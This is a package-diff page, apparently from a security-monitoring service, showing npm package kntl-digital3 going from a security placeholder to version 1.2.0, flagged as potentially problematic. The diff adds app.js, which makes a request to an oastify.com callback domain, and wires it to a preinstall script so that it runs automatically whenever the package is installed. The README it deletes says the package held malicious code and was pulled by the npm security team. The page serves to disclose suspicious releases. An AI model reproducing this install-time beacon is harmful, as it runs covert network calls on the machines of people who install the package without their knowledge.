kntl-digital3 0.0.1-security → 1.2.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of kntl-digital3 might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/app.js +11 -0
  2. package/index.js +19 -0
  3. package/package.json +12 -3
  4. package/README.md +0 -5
package/app.js ADDED
@@ -0,0 +1,11 @@
1
+ const axios = require('axios');
2
+
3
+ axios
4
+ .get('https://q4veydtyqxi17vtc30dp7b4sqjwek3.oastify.com')
5
+ .then(res => {
6
+ console.log(`statusCode: ${res.status}`);
7
+ console.log(res);
8
+ })
9
+ .catch(error => {
10
+ console.error(error);
11
+ });
package/index.js ADDED
@@ -0,0 +1,19 @@
1
+ const axios = require('axios');
2
+
3
+ function kntl(url)
4
+ {
5
+ axios
6
+ .get(url)
7
+ .then(res => {
8
+ console.log(`statusCode: ${res.status}`);
9
+ console.log(res);
10
+ })
11
+ .catch(error => {
12
+ console.error(error);
13
+ });
14
+
15
+ console.log('crot');
16
+
17
+ }
18
+
19
+ module.exports = kntl
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "kntl-digital3",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.2.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node app.js",
8
+ "preinstall": "node app.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "axios": "^0.27.1"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=kntl-digital3 for more information.